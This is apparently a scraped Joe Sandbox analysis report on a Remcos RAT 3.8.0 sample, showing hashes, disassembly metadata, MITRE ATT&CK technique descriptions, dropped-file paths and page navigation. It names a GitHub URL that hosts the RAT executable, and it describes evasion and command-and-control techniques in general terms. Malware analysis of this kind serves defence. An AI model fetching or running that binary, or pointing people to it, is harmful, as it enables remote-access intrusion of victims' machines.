Instruction ID: 741be0a7e07c91c52a2622140cab5de1fd5c4ed92ac9ef8f06ffb38d531a04bf
Opcode Fuzzy Hash: 3aad19eb304d79420c73b4df981a7137f35d26779cd9d5f9f686e9f46a0a26a4
Instruction Fuzzy Hash: 6821FF72508200EFCB15DF14D9C0B26BF75FF98324F20C569E90D1A246D336E856CAA2

Function 00E7D3EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1399771670.0000000000E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e7d000_Remcos-RAT-3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e58b8c56749219af83652b03aa806fca99c49847d28242aa59a8ed161806656
Instruction ID: 4ba0f3287b4612cd587bc3dc2f9b064562401fa1ca84c116ab8db8435b7eeea9
Opcode Fuzzy Hash: 3e58b8c56749219af83652b03aa806fca99c49847d28242aa59a8ed161806656
Instruction Fuzzy Hash: 0C11D376508240DFCB15CF10D9C4B16BF72FF94324F24C5A9D8095B656D336E856CBA1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Remcos-RAT-3.8.0_49286858951b77cb2f1ba97a9ed96f965fe4bf_9847541d_3409a2bc-e599-490d-a8a3-a4b27d629ba6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER70B5.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER725C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER728C.tmp.xml

C:\Users\user\Desktop\cmdline.out

C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe